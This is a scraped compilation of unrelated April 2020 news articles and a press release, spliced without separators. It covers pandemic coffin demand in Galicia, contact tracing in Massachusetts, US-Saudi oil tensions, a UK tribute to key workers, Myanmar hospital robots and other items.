factories that once operated in Pinor before competition from China eroded the sector, there are nine left. The industry leader is Ataudes Gallego, which boasts the highest number of exports and has also pioneered an ecological casket made with more biodegradable components. In order to cope with the spike in demand caused by the coronavirus crisis, manufacturers have expanded workers shifts and doubled their production. They have also adapted their factories to the current emergency, producing basic model coffins meant for cremation. They have flat lids, smooth sides and wooden handles. They feature water-based varnish and have no iron or glass parts, or mouldings of any kind, says the mayor of Pinol, Jose Luis Gonzalez Rodriguez, who also runs one of the local factories and is additionally the vice-president of Ataugal, the Association of Coffin Manufacturers of Galicia. Ataudes Gallego, a coffin factory located in Pinor. Nacho Gomez While coffin makers continue to thrive in the current scenario, other related businesses such as wreath makers are experiencing a slump because the strict confinement measures have banned wakes and large funerals for the deceased. We are doubling shifts and extending them into the weekend, confirms Joaquin Vazquez, the owner of a factory in Ribadavia, near Pinor. The same number of workers are putting out twice as many caskets despite the fact that the new safety protocols are slowing down their work. If we were able to make 500 caskets a day, theyd get sold, says Vazquez. Demand in Spain has spiked so much that the effects are being felt in nearby Portugal. In Chaves, a Portuguese town located 20 kilometers from the border with the Galician province of Ourense, a Galician entrepreneur named Maria Chao has quadrupled her production by hiring more personnel and adding weekend shifts. During the first three weeks of confinement, her factory shipped 3,500 coffins to Madrid. Meanwhile, funerary companies were concerned that they might run out of coffins and started purchasing as many as they could. If Pinors midsize factories were producing 200 caskets a month, they are now manufacturing 400 and employees have worked right through the Easter holidays in order to serve our lifelong clients first, then the new ones. We dont use any material from outside Spain save for the wood, which comes from Ivory Coast Jose Luis Gonzalez, coffin maker The mayor of town says that the coronavirus crisis could be something of a wake-up call for the industry, which is now demanding Galician materials instead of Asian products, which are at least six times cheaper than the most basic coffins made in Spain. Funerary companies have always had enough of a [profit] margin to buy locally-produced coffins, says the mayor, noting that the dirt-cheap coffins have not reduced the bill that families of the deceased pay for the services. We dont use any material from outside Spain save for the wood, which comes from Ivory Coast, says Jose Luis Gonzalez, who inherited the business from his father, who sculpted saint figures. In Pinor, the first coffin manufacturer had apprentices who in turn set up their own factories and hired workers, who later started businesses of their own as well. Eventually, every family in the village became involved in the sector. Although some producers still work with chestnut and poplar, most of them now use a very soft wood from the kapok tree that grows in West Africa and is known as fromager or ceiba in Spain. The rest is made in Spain, says Gonzalez Rodriguez. The fromager is curved in Valencia, the Christ figures are from Murcia, the varnish comes from Logrono, the padding from A Estrada (Pontevedra), the base of the coffin is made in Santiago and the staples come from Bilbao. For now, nobody in Pinor has contracted the coronavirus. Agents from the Civil Protection service run errands for anyone who requests the service in this village of elderly residents. The agents go to the butchers, the supermarket, the pharmacy, to pick up prescriptions... explains the mayor. Residents have also been given face masks and gloves, as well as the mayors cellphone number to dial in the event of any emergency. At the factories, when outside trucks come to pick up a new order, drivers are instructed to remain inside their cabins. Factory workers load the coffins and the drivers go on their way without technically setting foot in town. Over at Joaquin Vazquezs factory, according to the EFE news agency, its been weeks since anybody from outside the company walked into the premises. Inside, workers keep their distance, change their clothes in a different area, and the factory is disinfected twice a day. English version by Susana Urra. Due to the pandemic, a difficult time just became more difficult for everybody, especially for those with limited access to nutrition, said Genthe, in a news release. Taking our gala online gives us a chance to add staff, kitchen equipment, and procedure software. Most importantly, it helps us extend our capabilities in the face of growing nourishment and support needs." China denies spreading coronavirus disinformation following EU report Iran Press TV Monday, 27 April 2020 2:29 PM China has rejected claims that it is spreading disinformation about the new coronavirus pandemic that continues to spread rapidly across the globe. China's Foreign Ministry spokesman Geng Shuang made the comments at a daily press briefing in the capital Beijing on Monday, following a report by the European Union, which accused China of spreading disinformation on the virus. "China is opposed to the creation and spreading of disinformation by anyone or any organization. China is a victim of disinformation, not an initiator," Geng said. Last week, the EU published a report that pointed to "significant evidence" of Beijing using "covert" tactics in a "global disinformation campaign" to avoid blame for the pandemic. This comes as some countries are calling for an independent investigation into the virus and its source. Geng said there was no conclusive evidence that the virus originated in China, and warned that "political maneuvering" behind calls for an independent investigation would not be successful. The novel coronavirus, which causes a respiratory disease known as COVID-19, is believed to have emerged in the central Chinese city of Wuhan in Hubei Province in December. The virus has so far infected over 3,014,000 people worldwide. Nearly 208,000 have died, according to a running count by worldometers.info. China has fiercely defended its handling of the new coronavirus, repeatedly saying it "has been nothing but open, transparent and responsible" in informing the World Health Organization (WHO) and relevant countries about the pandemic and related information. Since the coronavirus outbreak, the origin of the virus has been widely discussed online, and conspiracy theories around it have also emerged endlessly. Previous scientific studies have already suggested that virus, which causes COVID-19, originated through natural processes. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Christian Arthur was out of a job when the addiction recovery center in South Boston where he worked closed last month. It took him two weeks to find a new one as a contact tracer on the virtual front lines of Massachusetts effort to halt the spread of COVID-19. Theres an army of us, Arthur, 29, told NBC News. With the coronavirus still plaguing much of the country, contact tracing is seen as a key tool in the effort to stop the chain of transmission and help facilitate a safe reopening of the United States. The practice involves identifying and making contact with all of the people who may have interacted with a COVID-19 patient. The virus tracers alert the contacts of their possible exposure, explain what they need to do and follow up to check on their health. Christian Arthur. (Courtesy Christian Arthur) Contact tracing has long been used in the U.S. and other countries to help curb the spread of such diseases as tuberculosis, cholera and Ebola. It has also been used to great effect to mitigate the virus in countries like South Korea and Germany, public health experts say. All epidemics are super local, and that's why you have to go through this painstaking process, said Dr. Joia Mukherjee, chief medical officer of Partners in Health, which is hiring, training and virtually deploying the contact tracers in Massachusetts, an initiative launched by Gov. Charlie Baker. The potential benefits of contact tracing have been well documented. But few of these contact tracers have spoken out in public. To participate in curbing this threat, especially on a local level in the state that I've lived in my whole life, is super meaningful, said Arthur, who started on the job two weeks ago. These may not be my literal neighbors and friends and family, but they might as well be. The program in Massachusetts has a virtual workforce of 1,000 contact tracers. Roughly 9,000 applied in the first 24 hours, and the job pays the rate of a federal census worker, $20 to 25 an hour, according to Mukherjee. Story continues The job is done exclusively by phone and the workers are trained in handling what could be difficult conversations. At the end of the day, some of this work is deeply human, Mukherjee said. And we want to make sure people are connected to one another to really talk through these questions. Some members of the corps of contact tracers work as case investigators, speaking with COVID-19 patients and untangling the web of contacts they may have exposed in the past 14 days. These workers counsel the infected people and help to connect them with such services as food assistance if necessary. Krysta Cass, 31, served as an Army officer for eight years after graduating from West Point in 2010 and being deployed to Afghanistan and countries in the Middle East. Before taking on a job as a supervisor in the Massachusetts tracing program, she worked as an orthopedic physician assistant. Krysta Cass. (Courtesy Krysta Cass) Cass now oversees a team of 100 contact tracers, divided into 10 units with two to three case investigators in each. The case investigators interview those who tested positive and then pass along the list of contacts and places they went to to the contact tracers in the unit. Most military recruits volunteer for public service in response to a global need, said Cass, whose team focuses on Boston. The people I'm working with are so similar. They care about the mission. Last week, her team spoke to 535 people who tested positive and identified 255 contacts. Public health experts estimate that each positive case can infect two to two-and-a-half people. The most sensitive of the cases get elevated to a person like Cass. One involved a new mother and her baby, who both tested positive at delivery. Cass spoke to the mother just eight days after she gave birth. They were discharged from the hospital because they were doing well, and then their symptoms started to get worse, Cass said. Because English was their second language, they were confused and scared. Cass connected them to the Boston Public Health Commission, which dedicated a nurse to help the mother navigate the illness affecting her and her newborn. When breaking the news to someone that theyve been exposed, Cass said she never reveals the identity of the patient zero. People say, I'm actually too scared to tell some of the people I've been in contact with that I tested positive, because I don't want them to be mad at me, Cass said. They don't want to be that reason to tell someone you're stuck in your house for 14 days. The people who tested positive retrace their steps to identify any potential points of transmission. But its not always a straightforward process, especially when the person has gone to a grocery store or other potentially crowded place. We'll call Whole Foods and let them know, said Cass, before giving an example of what she says on the calls: Somebody who's diagnosed with COVID-19 recently had exposed your workforce during these hours. They think they ran into a man who fits this description. Cass said people who developed the virus and had used rideshare programs also pose challenges. We have to get the information like, Who is your driver? Cass said, adding that the answer could be a first name, type of car and license plate. And we elevate that so that the state can let Uber know, Kass said. Calls for a national contact tracing program have grown in recent days. Since Massachusetts announced the launch of its program on April 3, other states have signaled a willingness to follow suit. Last week, New York Gov. Andrew Cuomo said former New York City Mayor Michael Bloomberg will help fund contact tracing efforts in the region, which includes New Jersey and Connecticut. Arthur, one of the first people hired to work at the Massachusetts program, said the job has led him to have conversations with a wide range of people, from high schoolers to senior citizens. His most memorable experience? A recent call with a woman in her late 60s. At the end of the call, she said, You know, I've been really socially isolated and I really appreciate just getting to talk to you, Arthur recalled. The job is fulfilling for another reason, he said. Every call, Arthur said, is a chance to halt the virus in its tracks. President Donald Trump is considering all options available to him to make the Saudis pay for the oil price war as the crash that followed has done significant damage to the U.S. oil industry With last month having seen the indignity of the principal U.S. oil benchmark, West Texas Intermediate (WTI), having fallen into negative pricing territory, U.S. President Donald Trump is considering all options available to him to make the Saudis pay for the oil price war that it started, according to senior figures close to the Presidential Administration spoken to by OilPrice.com last week. It is not just the likelihood that exactly the same price action will occur to each front-month WTI futures contract just before expiry until major new oil production cuts come from OPEC+ that incenses the U.S. nor the economic damage that is being done to its shale oil sector but also it is the fact that Saudi is widely seen in Washington as having betrayed the long-standing relationship between the two countries. Right now, many senior members on Trumps closest advisory circle want the Saudis to pay for its actions, in every way, OilPrice.com understands. This relationship was established in 1945 between the U.S. President Franklin D. Roosevelt and the Saudi King at the time, Abdulaziz, on board the U.S. Navy cruiser Quincy in the Great Bitter Lake segment of the Suez Canal and has defined the relationship between the two countries ever since. As analysed in depth in my new book on the global oil markets, the deal that was struck between the two men at that time was that the U.S. would receive all of the oil supplies it needed for as long as Saudi Arabia had oil in place, in return for which the U.S. would guarantee the security of the ruling House of Saud. The deal has altered slightly since the rise of the U.S. shale oil industry and Saudi Arabias attempt to destroy it from 2014 to 2016 in that the U.S. also expects the House of Saud to ensure that Saudi Arabia not only supplies the U.S. with whatever oil it needs for as long as it can but also that it also allows the U.S. shale industry to continue to function and to grow. Related: Could Brent Crude Oil Prices Ever Fall Into Negative Territory? For the U.S., if this means that Saudi Arabia loses out to U.S. shale producers by keeping oil prices up but losing out on export opportunities to U.S. firms then that is just the price that the House of Saud must pay for the continued protection of the U.S. - politically, economically, and militarily. As U.S. President Donald Trump has made clear whenever he has sensed a lack of understanding on the part of Saudi Arabia for the huge benefit that the U.S. is doing the ruling family: He [Saudi King Salman] would not last in power for two weeks without the backing of the U.S. military. Trump has a very good point, as it is fair to say that without U.S. protection, either Israel or Iran and its proxy operatives and supporters would very soon indeed end the rule of the House of Saud. Aside from just withdrawing all such support from the Saud family right now, there are other options available to the U.S. as interim measures, although some are more practical than others. Early in the oil price war, Trump stated that I will do whatever I have to do... to protect... tens of thousands of energy workers and our great companies, and added that plans to impose tariffs on Saudi Arabias oil exports into the U.S. were certainly a tool in the toolbox. From a practical volumes perspective, putting tariffs on Saudi oil rather than Russian oil would make sense from two key perspectives. First, the U.S. imports around 95 per cent more oil from Saudi than it does from Russia, so sanctioning Russian oil would have little effect on the U.S.s supply glut that is overhanging its already-stretched domestic storage facilities. Second, Russia is in much better economic shape than Saudi to handle any shocks to its oil-related streams of revenue, with a budget breakeven oil price of US$40 per barrel of Brent rather than Saudis US$84 per barrel point. Second, there is also the fact that Saudi currently provides one of the few large-scale sources of sour crude (including the benchmark Arab Heavy) that is available to the U.S., which is essential to its production of diesel, and to which purpose WTI is less suited. Certainly much of the U.S.s Gulf Coast refinery system is geared towards using sourer crude, having invested heavily in coking systems and other infrastructure to better handle heavier crudes from the Middle East in recent decades. The other major historical sources of this for the U.S. are not in a position to fill the gap, with U.S. sanctions still imposed on oil imports from Venezuela, Mexican flows unreliable, and Canadas pipeline capacity to the U.S. not able to handle any more more exports south until the long-delayed Keystone pipeline is up and running at some point in 2023. In a U.S. presidential election year, the last thing that a U.S. president wants is increasing diesel prices or shortages making a coronavirus-hit economy even worse. It is a fact that since the end of the First World War, the sitting U.S. president has won re-election 11 times out of 11 if the U.S. economy was not in recession within two calendar years ahead of an election whilst presidents who went into a re-election campaign with the economy in recession over the same time-frame won only once out of seven. Related: Oil Prices Crash 24% As Storage Fears Mount This said, it may be that Trump will use the threat of such tariffs on Saudi Arabia, as his mercurial reputation may work to convince the Saudis that he is unpredictable enough to impose such taxes, regardless of the short-term economic consequences. Even as it stands, he needs to do something as around 44 million barrels of Saudi crude are expected to reach the U.S. over the next four weeks, according to oil industry and shipping data. This is around four times the most recent four-week average, according to EIA records, and it is mostly due to be delivered to the already overwhelmed Cushing delivery point. Republican Senator Kevin Cramer of North Dakota, who has advised Trump on energy issues, has been calling on the White House to take action to stop the very large crude carriers from unloading, and several senators and congressmen have threatened to vote to withhold military aid to Saudi Arabia. Trump, for his part, has so far only said that he will look at it, referring to stopping these new imports. Given the burgeoning ill-feeling towards the Saudis amongst the U.S.s two legislative houses from an already high base sources in the Presidential Administration say that a forceful, but private, reiteration of the threat of the No Oil Producing and Exporting Cartels Act (NOPEC) Bill direct to King Salman, circumventing his son Crown Prince Mohammed bin Salman, might do the trick in convincing the Saudis to dramatically increase the contextually paltry output cut last agreed with the Russians. As highlighted by OilPrice.com, the pressure for Trump to finally sign off the NOPEC Bill has been growing from the second that the Saudis began the latest oil price war. Specifically, the NOPEC Bill would make it illegal to artificially cap oil (and gas) production or to set prices, as OPEC, OPEC+, and Saudi Arabia do. The Bill would also immediately remove the sovereign immunity that presently exists in U.S. courts for OPEC as a group and for each and every one of its individual member states. This would leave Saudi Arabia open to being sued under existing U.S. anti-trust legislation, with its total liability being its estimated US$1 trillion of investments in the U.S. alone. The U.S. would then be legally entitled to freeze all Saudi bank accounts in the U.S., seize its assets in the country, and halt all use of U.S. dollars by the Saudis anywhere in the world (oil, of course, to begin with, is denominated in U.S. dollars). It would also allow the U.S. to go after Saudi Aramco and its assets and funds, as it is still a majority state-owned production and trading vehicle, and would mean that Aramco could be ordered to break itself up into smaller, constituent companies that are not deemed to break competition rules in the oil, gas, and petrochemicals sectors or to influence the oil price. The Bill came very close indeed to being passed into law when in February of last year, the House Judiciary Committee passed the NOPEC Act, which cleared the way for a vote on the Bill before the full House of Representatives. On the same day, Democrats Patrick Leahy and Amy Klobuchar and most remarkably two Republicans, Chuck Grassley and Mike Lee, introduced the NOPEC Bill to the Senate. Its progress was only halted after President Trump stepped in and vetoed it when the Saudis did what he told them to do (at that point, to produce more to keep oil prices under US$70 per barrel of Brent), but the option is still available for a relatively quick turnaround on turning it into law. By Simon Watkins for Oilprice.com More Top Reads From Oilprice.com: - Tabitha Karanja said the government needed to encourage small businesses during their early stages of growth in a move to help them ascend to international standards - The Keroche CEO claimed Kenya's business environment gave foreign investors a lot of protection while homegrown enterprises were slapped with punitive policies - Keroche breweries earlier blamed the government of hitting it with exorbitant taxes that made running the business difficult - Karanja said she envisioned a future where local investors were treated in a friendly manner just like foreign enterprises Keroche Breweries CEO Tabitha Karanja has urged the government to develop policies that will protect homegrown investors from exploitation and a hostile business environment. Karanja said it was only through shielding and motivating local entrepreneurs that the country was going to midwife and nurture multibillion investors with global influence. READ ALSO: We're watching you: EACC warns governors against embezzling coronavirus funds to enrich themselves Keroche CEO Tabitha Karanja when she spoke to TUKO.co.ke. Photo: TUKO.co.ke. Source: Original READ ALSO: MCA ataka machifu wote wapatiwe uhamisho According to the businesswoman, the current environment was overprotective of foreign companies that had invested in the country but blind to the plight of local investors who played an integral role in spurring Kenya's economy. " I have realised that to grow a company in Africa is not as easy. I want to urge the finance and trade dockets to come up with a policy and that will protect the local entrepreneurs. When you look at other parts of the world, they are protected and celebrated. Here, we only do the same during a company's first six years of investment or after they become big. This should not be the case since local companies employ thousands of citizens and pay revenue to the government," Karanja told TUKO.co.ke during an interview. READ ALSO: Allow us to pray at Uhuru's, Ruto's and Raila's home to overcome COVID-19 - Homa Bay pastor Tabitha Karanja said the government needed to encourage small businesses during their early stages of growth. Photo: TUKO.co.ke. Source: Original READ ALSO: Kama mbaya, mbaya: Governor Sonko defies gov't order on food distribution, donates to needy families Despite foreign investors bringing huge investments into the country, Karanja opined it was also important to underscore the fact they also had humble beginnings before blossoming. She argued that it would have been impossible for the companies to spread their wings out of their countries of origin were it not for friendly trading environments and constant encouragement from respective states. "We should not only wait for a company to become a multi-billion investment before we start celebrating them. The other firms also started small and grew to what they are at the moment," she added Karanja's remarks came against a backdrop of a fierce tax war between Keroche Breweries and Kenya Revenue Authority (KRA) over alleged tax arrears of about KSh 9 billion. TUKO.co.ke understands the tax dispute has existed for at least a decade and had seen the brewer spend most of its time in court and before the Tax Appeal Tribunal (TAT). Karanja said she envisioned a future where local investors were treated in a friendly manner just like foreign enterprises. Photo: TUKO.co.ke. Source: Original However, according to the CEO, the case was a ploy by her competitors who were hellbent to drive her out of business. "The money KRA is demanding was derived at after computation of taxes of a drink we ceased producing long time ago. Furthermore, they cannot purport to collect from us what they very well know we have never charged the public for," said Karanja. Keroche protested the decision by the TAT which gave KRA a green light to collect KSh 9 billion in court arguing that it was illegal for the taxman to demand taxes the brewer never charged the consumer. The brewer also faulted KRA for taxing water it used in the production of Viena Ice ready to drink vodka at the same rate as the vodka. This, according to Karanja, made the water to be the most expensive in the world attracting up to KSh 243 per litre. "The decision is progressive, anti entrepreneurship and stifles much-needed innovations without which the cause of Kenyan industrialisation is hurt This means that all water added to our vodka to make a ready to drink vodka and consumed to date - backdated for the last eight years - now attracts KSh 243 per litre. The decision to tax the water added to our vodka at the above rate makes this the most expensive water in the world," Keroche earlier stated. Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly. Keroche CEO Tabitha Karanja makes a bold proposal to treasury CS Ukur Yattani | Tuko TV. Source: TUKO.co.ke Fran Drescher as Fran Fine in "The Nanny." (Cliff Lipson / CBS) On her hit 1990s sitcom, "The Nanny," Fran Drescher's fashionable titular character was distinctly Jewish but only because its star put her foot down. In Tuesday's debut episode of Los Angeles magazine's new podcast, "The Originals," Drescher recalled having to defend her identity after she and her cocreator (Drescher's ex-husband, Peter Marc Jacobson) pitched the series to CBS. "When we got green-lighted to write the pilot for 'The Nanny,' I guess the network was already talking to major sponsors like Procter & Gamble, who said, 'It sounds great we'll buy the show outright. But the nanny has to be Italian, not Jewish,'" the 62-year-old actress-producer told podcast host and journalist Andrew Goldman. At first, Drescher said she was "taken aback" by the demand, but she considered making the compromise if it meant securing her big break in Hollywood. Instead, she stood her ground. "I do not like living with regret, and I don't want to rush into doing something to get the job and then when it doesn't go right or it fails, I kick myself because I thought, 'Why didn't we follow our instincts? Why did we listen to them?'" she said. "I thought, 'I can't live with that regret. I know this character needs to be written very close to me and all the rich and wonderful characters that I grew up with. "Peter and I have a brand of comedy that's rich in specificity, and not only couldn't we have written it that way if the character were Italian but I couldn't have performed it that way. So we kind of mustered up our chutzpah and said, 'No, Fran Fine must be Jewish.'" Fran Drescher gets real in the first episode of our new podcast, The Originals https://t.co/F8HTeVUKhj pic.twitter.com/QK2RKPEBcq Los Angeles Magazine (@LAmag) April 28, 2020 Drescher also reflected more broadly on the lack of representation for the Jewish community in TV at the time, deeming herself the first series lead to play "an openly Jewish character" in a prime-time slot since Gertrude Berg, who starred as Molly Goldberg in 1949's "The Goldbergs." Story continues When reminded of Valerie Harper, who played Jewish New Yorker Rhoda Morgenstern in the hit "Mary Tyler Moore Show," Drescher pointed out a key distinction. "She wasn't Jewish in real life that's the difference," she said. "It was almost like gilding the lily. They didn't want to have Jews playing Jews in a starring role." Drescher exuded her signature candor throughout the hourlong podcast episode, which also touches on creative disagreements behind the scenes of her new NBC comedy ("Indebted"), her eyebrow-raising opinions on vaccines, her confrontation with ousted CBS chief Les Moonves and much more. B ritain will today fall silent in tribute to the frontline workers who have died amid the coronavirus crisis. More than 90 NHS and social care workers have died during the pandemic. They are among those who will be remembered in the minute's silence at 11am on Tuesday. Doctors, nurses, paramedics and healthcare workers are all expected to pay their respects to their colleagues at hospitals and other services around the country while transport workers will also take part. Boris Johnson, who has returned to work after being struck down by the virus, is among those who will be paying their respects, with Government workers also asked to join in. Boris Johnson speaks outside 10 Downing Street after recovering from the coronavirus disease / Via REUTERS Mr Johnson is also reportedly planning to refine lockdown rules in the coming days, amid mounting pressure for the Government to set out the next steps before they must be reviewed on May 7. Speaking outside Downing Street on Monday morning, the PM insisted he would not risk a second peak in the disease by relaxing restrictions too quickly. The Times reported that schools will remain shut next month, but shops selling non-essential items will be allowed to reopen if customers can be kept two metres apart. People could also be allowed to mix with a wider group of friends or family, according to the newspaper. A total of 21,092 patients have died in hospital after testing positive for coronavirus in the UK as of 5pm on Sunday, up by 360 from 20,732 the day before. However, the true number is likely to be significantly higher when deaths outside hospitals are included. The latest figures on deaths in care homes and the community will be published by the Office for National Statistics on Tuesday. In other developments: - The NHS will restart some vital services, including cancer care, which had been paused due to the coronavirus outbreak, from Tuesday - Health Secretary Matt Hancock announced a life assurance scheme to pay 60,000 to the families of frontline NHS and social care workers who have died in the course of their duties - Chancellor Rishi Sunak said small businesses will be able to secure a loan worth up to 50,000 with the Government guaranteeing 100 per cent of the risk in the latest emergency scheme aimed at helping firms survive the crisis - Health experts were asked to look into reports that a coronavirus-related syndrome - thought to be similar to Kawasaki disease - among children may be emerging in the UK The tribute at 11am will come from "a sombre but grateful nation," according to Dame Donna Kinnair, chief executive and general secretary of the Royal College of Nursing (RCN). NHS England has said it is considering how to formally commemorate and celebrate the dedication of those who have died while caring for others, and will work with families, loved ones and staff to find "the most respectful and appropriate way to do so". All you need to know from the April 27 UK coronavirus briefing Carers and bus drivers are also among those who have died while carrying out their vital work during the pandemic. Transport for London said underground and bus network will be brought to a halt for the silence as the workforce honours its colleagues. Any passengers will be asked to join in and bus drivers who can safely do so will be asked to stop their vehicle at the side of the road just before 11am and switch off their engines for one minute. Dame Donna said: "This moment will bring together a sombre but grateful nation. Whether in nursing or driving buses, our heroes kept going to work when many had the luxury of staying at home. Nobody should go out to work and risk their life. "This must not be the last time that sacrifice is recognised. The country and its leaders owes a tremendous debt to these key workers and the many more who are on shift again today." Loading.... A flag is to be flown at half mast at Lancashire Teaching Hospitals NHS Foundation Trust, which will be among many medical venues across the nation where hardworking staff will pause to honour their deceased workmates. Unison general secretary Dave Prentis said: "Boris Johnson has seen first-hand how NHS staff are going to remarkable lengths to keep us all safe. "The least we can all do tomorrow is spare a moment to pay our respects and show our gratitude to all the key workers who have lost their lives." Loading.... Loading.... The Society of Occupational Medicine, whose members include more than 1,700 doctors, nurses, physiotherapists, occupational therapists and technicians, has said the goal should be zero work-caused fatalities. It is calling for the Government to prevent any further work-related deaths and for employers to carry out risk assessments so people can safely return to their jobs whenever the lockdown is eased. Michaela Willis, of Devon, whose son Daniel died in 1993, has restarted the National Bereavement Partnership helpline, saying she had been "struck by the number of frontline healthcare workers who have been getting in touch to discuss their feelings of severe stress and anxiety". Ms Willis, who was a key campaigner among the relatives who lost loved ones in the Bristol heart babies scandal, added: "They are dealing with deaths and bereaved families on a daily basis, without having a spare moment to process the toll this takes on their own well-being. "Fear of catching the virus is also acute, as many have witnessed the deaths of healthcare colleagues." The helpline, which is also open to UK-based bereaved families who have lost loved ones due to coronavirus, is available on 0800 448 0800 between 7am-10pm every day, as well online and via social media. He did not elaborate on what measures would be taken, but he said in a subsequent radio interview on WCBS that the Metropolitan Transportation Authority, which runs the subways, needed to take dramatic action and they have to take it now. Mr. Cuomo called on the authority, which he effectively controls, to tell him what steps needed to be taken. Tensions between City Hall and the authority over what to do about homeless people sleeping on trains and in stations had been building long before the virus outbreak hit the city. As subway ridership has plummeted during the ensuing shutdown, there is some evidence that more homeless people are using largely empty trains for sleeping. Advocates for homeless people said that many of them have avoided dormitory-style city shelters where the virus has spread rapidly and killed dozens of people. On Monday, Mayor Bill de Blasio said the city would increase outreach efforts for homeless people at subway stations and provide 200 more shelter beds. He also asked the authority to temporarily close 10 end-of-the-line stations from midnight to 5 a.m. so workers could offer services to riders leaving trains and do enhanced sanitization of subway cars. Sarah Feinberg, the interim president of New York City Transit, which operates the citys subway and buses, said in a radio interview on Tuesday that she welcomed the mayors announcement but suggested it would not go far enough. Americans will soon be returning to their workplaces amidst a flurry of anxiety-inducing safety measures and recommendations addressing the COVID-19 pandemic. DuThermX provides a new, automated body-temperature measurement solution that works while streamlining movement of people with ease at entry points. Additional DuThermX applications will be available for walk-thru entry, airport entrances, outdoor tunnels and event venues as well as offering other mobile solutions. "DuThermX promises to help return America to work with confidence, where the new normal can look and feel as much like the old normal as possible," says Nick Dubak, Chief Operating Officer of Dubak Electrical Group. " With DuThermX, an unobtrusive entry body temperature measurement system helps reduce the anxiety and stresses that go along with today's flow of people at points of entry while enhancing the safety of employees and visitors all the while freeing up personnel to focus on other important aspects of safety and security." As new standards for public safety emerge, including from the federal government, proven best practices in identifying people with elevated body temperature is a key factor in mitigating the threat of illness. Recognizing the seriousness of the COVID-19 virus, Dubak's world-class team of engineers started working on a safety solution in January 2020. "Safety has always been central to what we do. So, we tapped the thousands of hours of R&D as well as years of installation experience to develop a system that accounts for the dynamic conditions of personnel scanning, traffic flow, facility requirements, and changing environment impact," said Dubak Electrical Group's Vice President of Engineering Danny Vujovic. The DuThermX Difference When it comes to safeguarding points of entry at industrial, commercial and public facilities around the country, DuThermX is the highest functioning automated temperature scanning and security solution available. DuThermX is a contact-free and continuous flow system, which alleviates the need for manual screening and any bottle necks created by stopping people that often requires two or more personnel at any building entry point. It can be added to existing surveillance and monitoring systems or installed separately. Easily, quickly, unobtrusively, DuThermX detects body temperatures within +/- 0.54 degrees Fahrenheit for 16 40 people simultaneously, depending on the configuration of a facility's entry point. With a response time of 30 milliseconds, the hard-wired set-up delivers a constant, secure, and reliable data feed. When a person passes through an entry point with an elevated temperature, an alarm alerts designated personnel. The multi notification alarm system includes audible, visual, email, SMS text, onscreen and network video capture. With its deep history in innovation, designing, developing and installing industrial electrical and technology systems along with its thermography scanning offerings, Dubak Electrical was able to develop a system that integrates advanced thermal camera technology, surveillance and electrical systems. The parent company offers a turnkey, fully integrated system that addresses heightened emerging public health challenges. The system add-ons can offer additional security enhancements such as facial recognition. Dubak offers 24/7 365 days a year service assistance through its customer care facilities located in suburban Chicago. About Dubak Electrical Group Dubak Electrical Group is a leader in industrial electrical construction and maintenance with more than three decades of experience. As family-owned-and-operated business, Dubak has an established record of success and safety in the design, installation and maintenance of industrial electrical, HVACR, control, and automation. The company opened a new corporate headquarters, training and technology facility in La Grange in 2016, in Chicago's western suburbs. Additional regional offices are located in Florida, Indiana, Iowa and Wisconsin. We are currently building a second innovation center opening in La Grange in 2021. For more information on DuThermX: https://www.duthermx.com/ More information on Dubak Electrical Group For a link to the DuThermX online newsroom with video b-roll and images go to: https://www.duthermx.com/media MEDIA CONTACTS: Lisa Ripson Ripson Group [email protected] (312) 493-5921 (o) (312) 952-7394 (m) Twitter: @LisaRipson Chris Comes Ripson Group [email protected] (312) 493-5921 (o) (312) 282-0539 (m) Twitter: @ChrisComes SOURCE Dubak Electrical Group Related Links http://www.dubakelectrical.com Myanmar & COVID-19 Myanmar Universities Invent Robots to Prevent Spread of COVID-19 in Hospitals The trolley robot TR 201, invented by Yangon Technological University. / Supplied YANGONTwo locally-designed and manufactured robots that may help to prevent the spread of COVID-19 have been deployed at the makeshift Pyaunggyi COVID-19 medical center on the outskirts of Yangon. The robots will be used to transport food, medicine and trash at the medical center, reducing contact between health care workers and patients and lowering the risk of spreading the coronavirus. One robot, called the trolley robot or TR 201, was invented by the Mechatronic Engineering Department at Yangon Technological University (YTU) and consists of a rolling drink trolley outfitted with sensors so that it can move along a path automatically, eliminating the need for person-to-person contact. The other robot, the container robot or CR 201, was invented by the Mechatronic Engineering Department at Mandalay Technological University (MTU) and can carry items in a container or basket. The idea to invent the robots came about after Senior Professor Dr. Sabal Phyu from Yangons Waibargi Hospital proposed the concept to State Counselor Daw Aung San Suu Kyi as a way to reduce the number of times patients and medical staff come into contact with one another. We mainly aim to reduce the instances of contact between patients and medical staff using this robot, said Dr. Daw Phyu Phyu Tun, who directed the invention of the trolley robot at YTU. Dr. Daw Phyu Phyu Tun told The Irrawaddy that the project behind the robots began because of an order from the Education Ministry to work to assist the Health Ministry in combating the COVID-19 pandemic. On Monday, the Education Ministry donated three additional trolley robots as well as a remote-controlled spray cleaning robot to the Health Ministry. The Education Ministry has now provided additional funding to the countrys technological universities to invent more robots for hospitals. Virus transmission rates would be reduced if we can reduce the instances of contact with patients using these robots, said Dr. Ko Ko Naing, the medical superintendent of the Phaunggyi makeshift COVID-19 medical center. The medical center was recently set up by the Yangon government on the site of the Central Institute of Civil Service (Phaunggyi) in Hlegu Township. The medical center has no patients yet but is set up to accommodate up to 200 patients as the two hospitals currently treating COVID-19 patients in Yangon reach their capacities. The Education Ministry has also donated a speaker drone, to communicate messages remotely, and an autopilot sprayer drone to the Health Ministry. The drones were also invented by teachers and students from technological universities. You may also like these stories: Myanmar Sets Up COVID-19 Committee with Rebel Armies Myanmar Central Bank Cuts Rates by Another 1.5 Percentage Points Amid COVID-19 Slowdown New Mon State Party Agrees to Close Thai-Myanmar Border Crossings to Curb COVID-19 Dobbing in neighbours breaching COVID-19 social distancing laws in Queensland has become easier with a simple online form. Restrictions across the state will be eased on the weekend with residents permitted to travel up to 50km from home for a picnic, to visit a park, go shopping or even take a boat trip. However, mingling in public is only allowed among members of the same household or, if you're single, you can hang out with one other person. An online form has been launched in Queensland to anonymously report people breaching COVID-19 restrictions. Crowds of sunseekers gathered on the sand at North Burleigh heads on Sunday despite beach outings being limited to exercise purposes Queensland Police Deputy Commissioner and state disaster coordinator Steve Gollschewski said the vast majority of people are adhering to health directions. But police want to know about those who don't via the form which can be accessed via computer, tablet or smartphone. 'We encourage members of the public to use the online form to report any blatant breach ... this includes large gatherings such as house parties,' he said. The new police reporting form is in addition to a new $1300 on-the-spot fine for deliberately spitting, coughing or sneezing on Queensland's frontline workers. The crackdown on attacks on health workers, shop assistants and police officers was announced on Monday by Premier Annastacia Palaszczuk. The 